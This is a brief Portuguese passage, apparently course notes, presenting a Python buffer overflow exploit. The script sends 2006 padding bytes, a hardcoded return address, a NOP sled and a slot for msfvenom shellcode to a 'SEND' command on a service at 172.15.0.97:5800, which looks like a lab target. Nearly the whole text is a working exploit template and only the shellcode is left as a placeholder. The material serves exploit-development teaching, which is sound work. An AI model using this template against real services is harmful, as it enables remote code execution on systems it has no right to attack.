

Criando o nosso exploit

```
#!/usr/bin/python
import socket

#0x625012a0
payload = ("toda a parte entre aspas gerada pelo msfvenom")
dados = "A"*2006 + "\xa0\x12\x50\x62" + "\x90"*32 + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97", 5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

→ Basicamente testando o exploit da aula passada